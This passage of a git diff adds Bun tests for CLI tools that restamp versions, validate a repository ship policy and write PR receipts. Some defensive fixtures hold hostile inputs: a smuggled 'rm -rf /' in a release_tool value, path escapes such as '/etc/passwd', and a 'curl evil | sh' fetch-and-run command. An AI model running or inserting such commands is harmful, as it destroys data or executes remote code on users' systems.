'--predecessor-ref', 'pr-a', '--bundle', bundle, '--base', 'main']);+ expect(moved.status).toBe(EXIT.fail);+ expect(moved.out).toMatch(/^PREDECESSOR MOVED [0-9a-f]{40} -> [0-9a-f]{40} — fix: gstack-restamp --after 1 again \(RESTAMP_PREDECESSOR_MOVED\)$/m);+ expect(moved.out).toMatch(/^gate-reuse: not-eligible \(PREDECESSOR MOVED/m);+ const viaGh = runBin(repo, 'gstack-tree-receipt', ['--from', path.join(repo.work, '.gstack/tmp/gate-ahead.json'), '--predecessor-pr', '1', '--bundle', bundle, '--base', 'main', '--json'], ghShim(repo, { '1': { headRefOid: repo.git('rev-parse', 'pr-a') } }));+ expect(JSON.parse(viaGh.out).predecessor.moved).toBe(true);+ expect(JSON.parse(viaGh.out).code).toBe('RESTAMP_PREDECESSOR_MOVED');+ });++ test('a gate-ahead merge that conflicts outside the stamp files is RESTAMP_MERGE_CONFLICT with nothing written', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { file: 'shared.txt' });+ makePr(repo, 'pr-b', { file: 'shared.txt' });+ const r = restamp(repo, ['--after', '1', '--predecessor-ref', 'pr-a', '--pr', '2']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/conflicts in .*shared\.txt; nothing written.*\(RESTAMP_MERGE_CONFLICT\)/);+ expect(fs.existsSync(path.join(repo.work, '.gstack', 'tmp', 'gate-ahead.json'))).toBe(false);+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ });++ test('two coordinators: --expect-base catches a base that moved between validation and merge (QUEUE_STALE, recompute command, nothing written)', () => {+ const repo = fixture();+ makePr(repo, 'pr-a');+ makePr(repo, 'pr-b');+ const assumed = repo.git('rev-parse', 'origin/main');+ repo.git('checkout', '-q', 'pr-a');+ expect(restamp(repo, ['--next', '--pr', '1', '--expect-base', assumed.slice(0, 12)]).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp a');+ mergeToMain(repo, 'pr-a');+ repo.git('checkout', '-q', 'pr-b');+ const r = restamp(repo, ['--next', '--pr', '2', '--expect-base', assumed.slice(0, 12), '--json']);+ expect(r.status).toBe(EXIT.refused);+ const j = JSON.parse(r.out);+ expect(j).toMatchObject({ status: 'refused', code: 'QUEUE_STALE', expected: { base: assumed.slice(0, 12) } });+ expect(j.actual.base).toBe(repo.git('rev-parse', 'origin/main'));+ expect(j.recompute).toMatch(/^gstack-restamp --next --base main --expect-base [0-9a-f]{12}$/);+ expect(repo.git('status', '--porcelain')).toBe('');+ const text = restamp(repo, ['--next', '--pr', '2', '--expect-base', assumed.slice(0, 12)]);+ expect(text.err).toMatch(/base moved.*\(QUEUE_STALE\)\nrecompute: gstack-restamp --next/);+ expect(text.out).toMatch(/status=refused/);+ const ok = restamp(repo, ['--next', '--pr', '2', '--expect-base', repo.git('rev-parse', 'origin/main')]);+ expect(ok.status).toBe(EXIT.ok);+ expect(ok.out).toMatch(/^MERGE_CONDITION: sha=[0-9a-f]{40}$/m);+ });++ test('--expect-order: an unmerged predecessor or a merged successor is QUEUE_STALE; the assumed order is re-validated through gh', () => {+ const repo = fixture();+ makePr(repo, 'pr-a');+ makePr(repo, 'pr-b');+ repo.git('checkout', '-q', 'pr-a');+ expect(restamp(repo, ['--next', '--pr', '1']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp a');+ const aMerge = mergeToMain(repo, 'pr-a');+ repo.git('checkout', '-q', 'pr-b');+ const merged = { state: 'MERGED', mergeCommit: { oid: aMerge }, headRefOid: repo.git('rev-parse', 'pr-a') };+ const open = { state: 'OPEN', mergeCommit: null, headRefOid: 'x' };+ const good = restamp(repo, ['--next', '--pr', '2', '--expect-order', '1,2,3', '--dry-run'], ghShim(repo, { '1': merged, '3': open }));+ expect(good.status).toBe(EXIT.ok);+ const stale = restamp(repo, ['--next', '--pr', '2', '--expect-order', '1,2,3', '--json'], ghShim(repo, { '1': merged, '3': merged }));+ expect(stale.status).toBe(EXIT.refused);+ expect(JSON.parse(stale.out)).toMatchObject({ code: 'QUEUE_STALE', actual: { prs: { '1': 'merged', '3': 'merged' } } });+ expect(JSON.parse(stale.out).recompute).toContain('--expect-order 1,2,3');+ const unmerged = restamp(repo, ['--next', '--pr', '2', '--expect-order', '1,4,2', '--json'], ghShim(repo, { '1': merged, '4': open }));+ expect(JSON.parse(unmerged.out)).toMatchObject({ code: 'QUEUE_STALE', actual: { prs: { '4': 'open' } } });+ });+});++describe('version-source shapes', () => {+ test('a package.json pin (3-digit) stamps the manifest and lockfile only and bumps patch', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: null, release_outputs: [] } });+ fs.rmSync(path.join(repo.work, 'VERSION'));+ fs.writeFileSync(path.join(repo.work, '.gstack', 'version-path'), 'package.json\n');+ fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), 'since: 1.2.4\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'pin manifest'); repo.git('push', '-q', 'origin', 'main');+ makePr(repo, 'pr-a');+ const r = restamp(repo, ['--next']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toContain('STAMP_VERSION: 1.2.4');+ expect(JSON.parse(readFile(repo, 'package.json')).version).toBe('1.2.4');+ expect(JSON.parse(readFile(repo, 'package-lock.json')).version).toBe('1.2.4');+ expect(fs.existsSync(path.join(repo.work, 'VERSION'))).toBe(false);+ expect(readFile(repo, 'docs/notes.md')).toBe('since: 1.2.4\n');+ const again = restamp(repo, ['--version', '1.2.5']);+ expect(again.out).toContain('(1.2.4 -> 1.2.5)');+ expect(readFile(repo, 'docs/notes.md')).toBe('since: 1.2.5\n');+ });++ test('a monorepo with a pinned frontend/package.json stamps that manifest, not the root', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: null, release_outputs: [] } });+ fs.mkdirSync(path.join(repo.work, 'frontend'));+ fs.writeFileSync(path.join(repo.work, 'frontend', 'package.json'), JSON.stringify({ name: 'web', version: '1.2.3' }, null, 2) + '\n');+ fs.writeFileSync(path.join(repo.work, '.gstack', 'version-path'), 'frontend/package.json\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'monorepo'); repo.git('push', '-q', 'origin', 'main');+ makePr(repo, 'pr-a');+ const r = restamp(repo, ['--next']);+ expect(r.status).toBe(EXIT.ok);+ expect(JSON.parse(readFile(repo, 'frontend/package.json')).version).toBe('1.2.4');+ expect(JSON.parse(readFile(repo, 'package.json')).version).toBe('1.2.3');+ expect(r.out).toMatch(/^FILES: CHANGELOG\.md frontend\/package\.json$/m);+ });++ test('an absent version source is RESTAMP_VERSION_SOURCE (exit 3), never an invented 0.0.0.0', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: null, release_outputs: [] } });+ repo.git('rm', '-q', 'VERSION'); repo.git('commit', '-q', '-m', 'no version'); repo.git('push', '-q', 'origin', 'main');+ makePr(repo, 'pr-a');+ const r = restamp(repo, ['--next']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/VERSION does not exist at [0-9a-f]{40}; nothing written.*\(RESTAMP_VERSION_SOURCE\)/);+ expect(fs.existsSync(path.join(repo.work, 'VERSION'))).toBe(false);+ });+});diff --git a/test/gstack-ship-policy.test.ts b/test/gstack-ship-policy.test.tsnew file mode 100644index 000000000..a68f2ca76--- /dev/null+++ b/test/gstack-ship-policy.test.ts@@ -0,0 +1,183 @@+/**+ * C1: the repo ship policy. Pins the wire contract (exit codes, result codes,+ * the `policy:` provenance line, every containment refusal) on fixture repos+ * under os.tmpdir(), never on prose.+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { DEFAULT_POLICY, POLICY_KEYS, globToRegExp, matchesAny, validatePolicy } from '../lib/ship-policy';+import { BASE_POLICY, cleanup, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo(opts); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++describe('validatePolicy (schema + containment, pure)', () => {+ test('defaults validate and every key has an explanation', () => {+ expect(validatePolicy(DEFAULT_POLICY)).toEqual([]);+ expect(validatePolicy(BASE_POLICY)).toEqual([]);+ expect(POLICY_KEYS).toContain('queue_mode');+ });++ test('unknown keys, enums and types are POLICY_INVALID with the key named', () => {+ const codes = (p: unknown) => validatePolicy(p).map(e => `${e.code}:${e.path}`);+ expect(codes({ bumpp: 'patch' })).toEqual(['POLICY_INVALID:bumpp']);+ expect(codes({ bump: 'minor' })).toEqual(['POLICY_INVALID:bump']);+ expect(codes({ queue_mode: 'stamp-at-open' })).toEqual(['POLICY_INVALID:queue_mode']);+ expect(codes({ history: 'rebase' })).toEqual(['POLICY_INVALID:history']);+ expect(codes({ release_tool: 42 })).toEqual(['POLICY_INVALID:release_tool']);+ expect(codes({ pr_count: { default_pr_count: 0, split_requires_owner: 'yes' } })).toEqual(['POLICY_INVALID:pr_count.default_pr_count', 'POLICY_INVALID:pr_count.split_requires_owner']);+ expect(codes([])).toEqual(['POLICY_INVALID:']);+ });++ test('containment fixtures: `..`, absolute paths, ~, control bytes, list and size caps, interior mirror `..`', () => {+ const codes = (p: unknown) => validatePolicy(p).map(e => `${e.code}:${e.path}`);+ expect(codes({ stamp_paths: ['../victim/**'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);+ expect(codes({ stamp_paths: ['docs/../../etc/*'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);+ expect(codes({ stamp_paths: ['/etc/passwd'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);+ expect(codes({ release_outputs: ['C:\\Windows\\*'] })).toEqual(['POLICY_CONTAINMENT:release_outputs[0]']);+ expect(codes({ changelog: '~/CHANGELOG.md' })).toEqual(['POLICY_CONTAINMENT:changelog']);+ expect(codes({ changelog: 'CHANGE\nLOG.md' })).toEqual(['POLICY_CONTAINMENT:changelog']);+ expect(codes({ stamp_paths: Array.from({ length: 65 }, (_, i) => `d${i}/**`) })).toEqual(['POLICY_CONTAINMENT:stamp_paths']);+ expect(codes({ stamp_paths: ['a'.repeat(257)] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);+ expect(codes({ release_tool: 'x'.repeat(513) })).toEqual(['POLICY_CONTAINMENT:release_tool']);+ expect(codes({ release_tool: 'bun run a\nrm -rf /' })).toEqual(['POLICY_CONTAINMENT:release_tool']);+ expect(codes({ mirror: '../sibling' })).toEqual([]);+ expect(codes({ mirror: '../sibling/../../other' })).toEqual(['POLICY_CONTAINMENT:mirror']);+ expect(codes({ mirror: '/abs/mirror' })).toEqual(['POLICY_CONTAINMENT:mirror']);+ expect(codes({ mirror: '.' })).toEqual(['POLICY_CONTAINMENT:mirror']);+ expect(codes({ mirror: '..' })).toEqual(['POLICY_CONTAINMENT:mirror']);+ expect(codes({ preregistration_shas: ['not-a-sha'] })).toEqual(['POLICY_CONTAINMENT:preregistration_shas[0]']);+ });++ test('globs: ** spans directories, * stays in a segment, regex caps hold, regex metacharacters are literal', () => {+ expect(matchesAny(['docs/**/*.md'], 'docs/a/b/c.md')).toBe(true);+ expect(matchesAny(['docs/**/*.md'], 'docs/c.md')).toBe(true);+ expect(matchesAny(['docs/*.md'], 'docs/a/c.md')).toBe(false);+ expect(matchesAny(['README.md'], 'README.md')).toBe(true);+ expect(matchesAny(['README.md'], 'READMEXmd')).toBe(false);+ expect(matchesAny(['a+b(c).md'], 'a+b(c).md')).toBe(true);+ expect(() => globToRegExp('?'.repeat(150))).toThrow(/512/);+ expect(validatePolicy({ stamp_paths: ['?'.repeat(150)] }).map(e => e.code)).toEqual(['POLICY_CONTAINMENT']);+ });+});++describe('gstack-ship-policy (bin)', () => {+ test('--help prints the exit table; no command is usage (2)', () => {+ const repo = fixture();+ expect(runBin(repo, 'gstack-ship-policy', ['--help']).out).toContain('Exit codes: 0 ok · 1 fail · 2 usage · 3 refused or needs a flag');+ expect(runBin(repo, 'gstack-ship-policy', []).status).toBe(EXIT.usage);+ expect(runBin(repo, 'gstack-ship-policy', ['bogus']).status).toBe(EXIT.usage);+ });++ test('show-effective reads origin/<base>, labels each value with its source, and --json carries the policy', () => {+ const repo = fixture();+ const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^policy: base origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json\n/);+ expect(r.out).toContain('queue_mode="stamp-at-merge" (origin/main@');+ expect(r.out).toContain('bump="patch" (origin/main@');+ expect(r.out).toContain('mirror=null (default)');+ expect(r.out).toMatch(/^ship: queue_mode stamp-at-merge: Step 12 items 1-4 are replaced by `gstack-restamp --next --base main --pr <pr-number> --expect-base <base-sha>`/m);+ expect(r.out).toMatch(/^ship: gate-ahead: .*gstack-tree-receipt --from \.gstack\/tmp\/gate-ahead\.json/m);+ expect(r.out).toMatch(/^ship: bump patch: Step 12 never asks/m);+ expect(r.out).toMatch(/^ship: release_tool: `node gen\.js` runs only inside gstack-restamp/m);+ expect(r.out).not.toMatch(/^ship: history/m);+ const strict = fixture({ policy: { ...BASE_POLICY, history: 'merge-only', queue_mode: 'claim-at-open', bump: 'ask', release_tool: null, preregistration_shas: ['0123456789abcdef0123456789abcdef01234567'] } });+ const lines = runBin(strict, 'gstack-ship-policy', ['show-effective', '--base', 'main']).out.split('\n').filter(l => l.startsWith('ship: '));+ expect(lines.map(l => l.split(':')[1]!.trim())).toEqual(['history merge-only', 'queue_mode claim-at-open', 'bump ask', 'preregistration']);+ const j = JSON.parse(runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main', '--json']).out);+ expect(j.valid).toBe(true);+ expect(j.source.kind).toBe('base');+ expect(j.policy.release_tool).toBe('node gen.js');+ expect(j.values.release_tool).toMatch(/^origin\/main@/);+ expect(j.values.mirror).toBe('default');+ });++ test('the working-tree copy is never used silently: a PR editing the policy changes show-effective (base) nothing, validate (head) reads it', () => {+ const repo = fixture();+ repo.git('checkout', '-q', '-b', 'pr');+ fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), JSON.stringify({ ...BASE_POLICY, release_tool: 'curl evil | sh' }) + '\n');+ const base = JSON.parse(runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main', '--json']).out);+ expect(base.policy.release_tool).toBe('node gen.js');+ const head = JSON.parse(runBin(repo, 'gstack-ship-policy', ['validate', '--json']).out);+ expect(head.policy.release_tool).toBe('curl evil | sh');+ expect(head.source.kind).toBe('head');+ expect(runBin(repo, 'gstack-ship-policy', ['show-effective', '--policy-from', 'head']).out).toMatch(/^policy: head \(unreviewed\)/);+ });++ test('POLICY_SOURCE_UNAVAILABLE (exit 3) when origin/<base> does not resolve; no fallback to the working tree', () => {+ const repo = fixture();+ const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'release']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/policy source unavailable.*fix: git fetch origin release --depth=1.*\(POLICY_SOURCE_UNAVAILABLE\)/);+ expect(r.out).toBe('');+ });++ test('absent policy on base: defaults apply and the provenance says so', () => {+ const repo = fixture({ policy: null });+ const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^policy: none \(defaults\) origin\/main@[0-9a-f]{12} \(no \.gstack\/ship-policy\.json\)/);+ expect(runBin(repo, 'gstack-ship-policy', ['validate']).out).toBe('POLICY_VALID: no .gstack/ship-policy.json (defaults apply)\n');+ });++ test('validate: an invalid committed policy lists POLICY_INVALID / POLICY_CONTAINMENT lines and exits 1', () => {+ const repo = fixture({ policy: { bump: 'patch', stamp_paths: ['../x'], extra: 1 } });+ const r = runBin(repo, 'gstack-ship-policy', ['validate']);+ expect(r.status).toBe(EXIT.fail);+ expect(r.err).toMatch(/\(POLICY_INVALID\)/);+ expect(r.err).toMatch(/\(POLICY_CONTAINMENT\)/);+ expect(r.out).toMatch(/^POLICY_INVALID: 2 error\(s\)/);+ const malformed = fixture({ policy: null });+ fs.writeFileSync(path.join(malformed.work, '.gstack', 'ship-policy.json'), '{ not json');+ expect(runBin(malformed, 'gstack-ship-policy', ['validate']).err).toMatch(/not valid JSON.*\(POLICY_INVALID\)/);+ });++ test('init writes every key at its default with $schema, refuses to overwrite (POLICY_EXISTS, nothing written), --explain prints each key', () => {+ const repo = fixture({ policy: null });+ const r = runBin(repo, 'gstack-ship-policy', ['init']);+ expect(r.status).toBe(EXIT.ok);+ const written = JSON.parse(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8'));+ expect(written.$schema).toMatch(/ship-policy\.md#schema-v1$/);+ for (const key of POLICY_KEYS) expect(written[key]).toEqual((DEFAULT_POLICY as any)[key]);+ expect(validatePolicy(written)).toEqual([]);+ fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), '{"bump":"patch"}\n');+ const again = runBin(repo, 'gstack-ship-policy', ['init']);+ expect(again.status).toBe(EXIT.refused);+ expect(again.err).toMatch(/nothing written.*\(POLICY_EXISTS\)/);+ expect(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8')).toBe('{"bump":"patch"}\n');+ const explain = runBin(repo, 'gstack-ship-policy', ['init', '--explain']);+ expect(explain.status).toBe(EXIT.ok);+ for (const key of POLICY_KEYS) expect(explain.out).toMatch(new RegExp(`^${key}: .* default: `, 'm'));+ expect(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8')).toBe('{"bump":"patch"}\n');+ });++ test('check-history: squash-ok prints no check; merge-only accepts a fast-forward branch, refuses a rewritten one (exit 1) and a squash/rebase plan (exit 3) with HISTORY_POLICY_VIOLATION', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, history: 'merge-only' } });+ repo.git('checkout', '-q', '-b', 'pr');+ fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'a');+ expect(runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main']).out).toMatch(/^HISTORY: merge-only \(origin\/pr not pushed yet/);+ repo.git('push', '-q', '-u', 'origin', 'pr');+ fs.writeFileSync(path.join(repo.work, 'b.txt'), 'b\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'b');+ const ok = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--json']);+ expect(ok.status).toBe(EXIT.ok);+ expect(JSON.parse(ok.out)).toMatchObject({ history: 'merge-only', ok: true });+ repo.git('reset', '-q', '--soft', 'origin/main');+ repo.git('commit', '-q', '-m', 'squashed');+ const bad = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main']);+ expect(bad.status).toBe(EXIT.fail);+ expect(bad.out).toMatch(/^HISTORY: rewritten .* \(HISTORY_POLICY_VIOLATION\)$/m);+ const plan = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'squash']);+ expect(plan.status).toBe(EXIT.refused);+ expect(plan.out).toMatch(/^HISTORY: refused \(plan=squash rewrites history; .*\) — fix: .* \(HISTORY_POLICY_VIOLATION\)$/m);+ expect(runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'cherry']).status).toBe(EXIT.usage);+ const lax = fixture();+ expect(runBin(lax, 'gstack-ship-policy', ['check-history', '--base', 'main']).out).toBe('HISTORY: squash-ok (no check; policy history=squash-ok; plan=merge)\n');+ expect(runBin(lax, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'rebase']).status).toBe(EXIT.ok);+ });+});diff --git a/test/gstack-ship-receipt.test.ts b/test/gstack-ship-receipt.test.tsnew file mode 100644index 000000000..5e5e0e7d4--- /dev/null+++ b/test/gstack-ship-receipt.test.ts@@ -0,0 +1,155 @@+/**+ * C5: the handoff record. `write` renders the fenced block identifiers-first+ * and places it at the top of a PR body; `read` parses it back from a body or+ * a PR (RECEIPT_MISSING / RECEIPT_INVALID); `census` computes the P7 adoption+ * number over merged PRs, deduplicated by run and thread, against a cohort.+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { computeCensus, extractReceipt, placeReceiptFirst, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt';+import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = () => { const r = makeFixtureRepo({ prefix: 'ship-receipt-' }); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++const HEAD = 'a'.repeat(40);+const block = (receipt: Record<string, unknown>) => renderReceiptBlock(receipt as any);++describe('gstack-ship-receipt write', () => {+ test('writes the block identifiers-first, validates it against the ship-receipt schema, and puts it at the top of the PR body', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp');+ const head = repo.git('rev-parse', 'HEAD');+ const bundle = path.join(repo.root, 'bundle.json');+ recordAndBundle(repo, repo.work, [{ label: 'tests', command: 'true' }], bundle);+ const treeReceipt = path.join(repo.root, 'tree-receipt.json');+ const tr = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', head, '--bundle', bundle, '--predecessor', 'b'.repeat(40), '--json']);+ fs.writeFileSync(treeReceipt, tr.out);+ const body = path.join(repo.root, 'body.md');+ fs.writeFileSync(body, '## Summary\n\nProse that a truncated message may lose.\n');+ const w = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,+ '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',+ '--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',+ '--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);+ expect(w.status).toBe(EXIT.usage);+ fs.writeFileSync(path.join(repo.root, 'ci.json'), '{"checks":{"pass":3,"fail":0,"pending":0}}');+ const ok = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,+ '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',+ '--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',+ '--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);+ expect(ok.status).toBe(EXIT.ok);+ expect(ok.err.trim()).toBe(`SHIP_RECEIPT: pr=42 head=${head.slice(0, 12)} version=1.2.4.0 base=main gated_tree=${repo.git('rev-parse', 'HEAD^{tree}').slice(0, 12)} tree=same-modulo-stamps gate-reuse=eligible (reusable: tests; rerun: -) predecessor=${'b'.repeat(12)} session_kind=unattended artifacts_consumed=2/3`);+ const parsed = extractReceipt(ok.out);+ expect(parsed.found).toBe(true);+ expect(parsed.errors).toEqual([]);+ expect(Object.keys(parsed.receipt!)).toEqual(['schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd', 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history']);+ expect(parsed.receipt).toMatchObject({ schema_version: 1, pr: 42, head, version: '1.2.4.0', base: 'main', tree: 'same-modulo-stamps', spend_usd: 0.42, ci: { checks: { pass: 3 } } });+ expect(parsed.receipt!.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/);+ const written = fs.readFileSync(body, 'utf8');+ expect(written.startsWith('```gstack-ship-receipt\n{\n "schema_version": 1,\n "pr": 42,\n "head": "' + head + '"')).toBe(true);+ expect(written).toContain('\n```\n\n## Summary\n\nProse that a truncated message may lose.\n');+ expect(fs.readFileSync(path.join(repo.root, 'receipt.md'), 'utf8')).toBe(ok.out);+ const art = runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']);+ expect(art.status).not.toBe(EXIT.ok);+ fs.writeFileSync(path.join(repo.root, 'receipt.json'), JSON.stringify(parsed.receipt));+ expect(runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']).status).toBe(EXIT.ok);+ const again = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '43', '--base', 'main', '--body', body, '--session-kind', 'interactive', '--json']);+ expect(again.status).toBe(EXIT.ok);+ const j = JSON.parse(again.out);+ expect(j).toMatchObject({ pr: 43, head, session_kind: 'interactive' });+ expect('tree' in j).toBe(false);+ const rewritten = fs.readFileSync(body, 'utf8');+ expect(rewritten.match(/```gstack-ship-receipt/g)).toHaveLength(1);+ expect(rewritten).toContain('"pr": 43');+ expect(rewritten).toContain('## Summary');+ });++ test('refuses an invalid receipt before writing (RECEIPT_INVALID) and a non-integer --pr', () => {+ const repo = fixture();+ const body = path.join(repo.root, 'body.md');+ fs.writeFileSync(body, 'prose\n');+ const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', 'seven', '--base', 'main', '--session-kind', 'x', '--body', body]);+ expect(r.status).toBe(EXIT.usage);+ expect(r.err).toContain('--pr must be an integer');+ const receiptFile = path.join(repo.root, 'tree-receipt.json');+ fs.writeFileSync(receiptFile, JSON.stringify({ tree: 'sideways', gate_reuse: 'eligible', gate_reuse_reason: 'x' }));+ const inv = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--receipt', receiptFile, '--body', body]);+ expect(inv.status).toBe(EXIT.fail);+ expect(inv.err).toMatch(/\(RECEIPT_INVALID\)/);+ expect(inv.err).toContain('nothing written');+ expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');+ });+});++describe('gstack-ship-receipt read', () => {+ test('read --body and read --pr (through gh) return the block; a missing block is RECEIPT_MISSING, a broken one RECEIPT_INVALID', () => {+ const repo = fixture();+ const receipt = { schema_version: 1, pr: 5, head: HEAD, version: '1.2.4.0', base: 'main', session_kind: 'unattended', artifacts_consumed: '1/1', run: 'run-5', thread: 'jam_5' };+ const body = path.join(repo.root, 'body.md');+ fs.writeFileSync(body, placeReceiptFirst('Prose.\n', receipt as any));+ const b = runBin(repo, 'gstack-ship-receipt', ['read', '--body', body, '--json']);+ expect(b.status).toBe(EXIT.ok);+ expect(JSON.parse(b.out)).toEqual(receipt);+ expect(b.err.trim()).toBe(receiptSummaryLine(receipt as any));+ const env = ghShim(repo, {+ 5: { body: fs.readFileSync(body, 'utf8') },+ 6: { body: 'No receipt here.\n' },+ 7: { body: block({ schema_version: 2, head: HEAD, base: 'main' }) },+ 8: { body: '```gstack-ship-receipt\n{not json\n```\n' },+ });+ const p = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '5', '--repo', 'o/r'], env);+ expect(p.status).toBe(EXIT.ok);+ expect(p.out).toBe(renderReceiptBlock(receipt as any));+ const missing = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '6', '--json'], env);+ expect(missing.status).toBe(EXIT.fail);+ expect(missing.err).toMatch(/PR #6.*\(RECEIPT_MISSING\)/);+ expect(JSON.parse(missing.out)).toEqual({ found: false, errors: [] });+ const invalid = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '7', '--json'], env);+ expect(invalid.status).toBe(EXIT.fail);+ expect(invalid.err).toMatch(/\(RECEIPT_INVALID\)/);+ expect(JSON.parse(invalid.out)).toMatchObject({ found: true, valid: false });+ const broken = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '8'], env);+ expect(broken.status).toBe(EXIT.fail);+ expect(broken.err).toMatch(/block is not JSON.*\(RECEIPT_INVALID\)/);+ expect(runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '9'], env).status).toBe(EXIT.fail);+ expect(runBin(repo, 'gstack-ship-receipt', ['read']).status).toBe(EXIT.usage);+ });+});++describe('gstack-ship-receipt census (P7)', () => {+ const prs = [+ { number: 1, mergedAt: '2026-10-02T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },+ { number: 2, mergedAt: '2026-10-03T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },+ { number: 3, mergedAt: '2026-10-04T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '0/2', run: 'run-b', thread: 'jam_2' } as any) },+ { number: 4, mergedAt: '2026-10-05T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'interactive', artifacts_consumed: '1/1', run: 'run-c', thread: 'jam_4' } as any) },+ { number: 5, mergedAt: '2026-10-06T00:00:00Z', body: 'A PR shipped without gstack.\n' },+ { number: 6, mergedAt: '2026-10-07T00:00:00Z', body: block({ schema_version: 1, base: 'main' }) },+ ];++ test('computeCensus deduplicates by 